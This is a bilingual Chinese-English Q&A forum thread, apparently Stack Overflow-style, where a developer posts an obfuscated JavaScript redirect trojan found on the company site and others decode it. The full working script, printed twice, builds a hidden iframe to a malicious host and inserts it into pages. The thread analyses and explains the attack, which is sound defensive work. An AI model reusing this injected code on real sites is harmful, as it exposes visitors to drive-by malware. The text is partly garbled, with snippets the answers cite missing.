JavaScript木马剖析
我最近一直在研究 JavaScript 的分配,并开始考虑我不会遇到无法调试的 JavaScript 片段。
今天,当我们在我们公司的网站上发现了一些 JavaScript 重定向木马时,我感到既惊喜又愤怒。
我们发现的大部分代码我都能够轻松剖析并使用标准转义来混淆代码功能。
但在代码中我们发现下面的代码完全让我无法理解它的作用。 (我似乎能解决的唯一部分是它正在对某些参数进行替换)。
那么有人可以帮我剖析一下下面的代码吗?我很想知道到底发生了什么......
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
I've recently been playing with allot of JavaScript and started to consider that I couldn't encounter a piece of JavaScript that I wouldn't be able to debug.
Well I was pleasantly surprised and angered today when we discovered a number of JavaScript redirect trojans on our company’s website.
Most of the code we found I was able to easily dissect and used standard escaping to obfuscate the codes function.
But among the code we found the code below has completely stumped me on what its doing. (The only part that I can seem to work out is that it is doing a replace on some of the parameters).
So would anyone please be kind enough to dissect the following code for me? I would love to know exactly what’s going on...
<script>
function yJ() {};
this.sMZ = "sMZ";
yJ.prototype = {
w: function () {
var rJ = 13390;
this.m = "m";
this.fP = '';
this.q = "q";
this.oJ = "";
var vS = function () {
return 'vS'
};
var d = 'replace';
var qB = "";
x = '';
var s = document;
var xZ = "xZ";
mC = '';
var dV = "dV";
var b = window;
this.p = false;
this.kX = '';
nP = "nP";
var zE = "";
this.nU = false;
var yV = function () {
return 'yV'
};
String.prototype.gT = function (l, v) {
return this[d](l, v)
};
this.pC = '';
var qV = false;
var fPU = new Array();
h = "";
var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, '');
var xV = 43258;
sT = '';
var mV = '';
this.wJ = "wJ";
var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, '');
var xB = '';
wI = "wI";
oT = false;
var nQ = 49042;
try {
zI = '';
var bF = new Array();
var aY = function () {
return 'aY'
};
var rN = false;
rF = "";
var cX = function () {
return 'cX'
};
var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, '');
this.rL = '';
var vH = function () {
return 'vH'
};
var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, '');
yD = "";
var eA = '';
var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, '');
vZ = '';
this.bG = "";
this.vL = false;
var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, '');
gI = '';
dVL = "dVL";
var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, '');
lH = "";
kD = "kD";
this.pH = false;
var k = 's9ric9'.gT(/[9Ni~O]/g, '');
var vB = '';
var kH = function () {
return 'kH'
};
var qH = new Array();
aD = '';
this.eQ = false;
var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, '');
var cT = '';
var kL = function () {
return 'kL'
};
var bR = new Array();
this.cP = 22454;
var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, '');
lG = '';
tG = 7587;
hV = '';
this.oR = "oR";
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, '');
var dC = function () {};
var eR = new Date();
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, '');
uM = "";
var i = function () {};
this.cI = "";
tU = false;
function qN() {};
xL = 57256;
var c = this.a();
this.eL = '';
var rY = function () {};
fG = false;
nO = false;
this.j = "";
this.iQ = 5330;
var sY = function () {};
var u = document[n](bQ);
this.tH = false;
zX = "";
u[r][o] = dH;
var kV = "kV";
pN = '';
var yG = new Array();
this.nOE = 818;
u[z](k, c);
this.bQK = "";
var yU = 15629;
var sM = new Array();
var eY = "eY";
var qP = '';
s[y][e](u);
var lU = "lU";
var zR = false;
var xS = "";
iX = 34795;
function pO() {};
this.gM = "";
} catch (g) {
var xI = false;
this.gO = false;
this.iZ = false;
this.iU = false;
var mQ = new Date();
var qF = function () {};
s.write(f);
var tS = "tS";
function aR() {};
nA = "nA";
var xT = new Date();
mZ = false;
var gN = new Array();
var wE = this;
var eB = 3562;
this.qE = "qE";
this.cS = false;
this.vK = false;
qEJ = false;
this.hW = false;
b[sV](function () {
function bI() {};
hJ = "";
var kVQ = "kVQ";
var iG = "";
var eBS = new Array();
rA = "";
wE.w();
jY = "";
var hB = "hB";
var iZF = '';
qY = "";
jYG = "";
uK = 30969;
var qD = "qD";
}, 326);
this.qC = "";
var aX = function () {};
var cN = "";
}
gB = false;
var fF = false;
this.hX = false;
},
a: function () {
rH = "rH";
this.bV = '';
var qW = "";
return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, '');
var sMS = new Array();
this.wL = false;
uS = "uS";
function pI() {};
}
};
var uI = false;
var kN = new yJ();
this.aQ = "aQ";
kN.w();
hT = 15101;
</script>
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它嵌入了 http://fancycake.xxx/something,这是你可以看到它的行:
你看当从该字符串中提取每个奇数字符时,如何形成 URL。我没有运行这个,所以我不确定它在什么条件下执行此操作,但您可以看到
String.replace
已重命名为String.gT
并且正在针对使字符串混淆的字符传递正则表达式。如果您应用相同的方法,提取奇数字符,您可以看到有一个隐藏的 iframe、一些 javascript 事件处理程序、setAttribute
等:这就是
String.replace
是别名:在该函数的上下文中,
this
是调用gT
的字符串,d
是字符串replace
。在字符串的原型上,this['replace']
返回replace()
方法,然后使用gT
的两个参数调用该方法。然后返回结果。更新
我像这样转换了脚本:
string.gT()
调用替换为其简单形式。这是结果,现在应该很清楚它是如何工作的:
It embeds http://fancycake.xxx/something, and this is the line where you can see it:
You see how every odd character, when plucked from that string, forms the URL. I didn't run this, so I'm not sure under what conditions it does this, but you can see that
String.replace
has been renamed toString.gT
and is being passed a regex against the characters which make the string obfuscated. If you apply that same method, plucking odd characters, you can see that there is a hidden iframe, some javascript event handlers,setAttribute
, etc:This is how
String.replace
is aliased:Within the context of that function,
this
is the string on whichgT
is being called andd
is the stringreplace
. On a string's prototype,this['replace']
returns thereplace()
method, which is then called with the two arguments togT
. The result is then returned.Update
I transformed the script like so:
string.gT()
calls with their plain forms.This is the result, it should be pretty clear how it works now:
它会在您网站的以下 URL 中添加一个不可见的 iFrame:
该网站 fancycake 在 Firefox 下被标记为受攻击和恶意
It adds an invisible iFrame to the following URL to your website:
The website fancycake is marked as attacked and malicious under Firefox
在 JavaScript 调试器中运行它;最终,代码将自行反编译并尝试启动。为了安全起见,我建议在 Linux 机器上使用最新版本的 FireFox。
Run it in a JavaScript debugger; eventually, the code will decompile itself and try to start. I suggest to use the latest version of FireFox maybe on a Linux box to be on the safe side.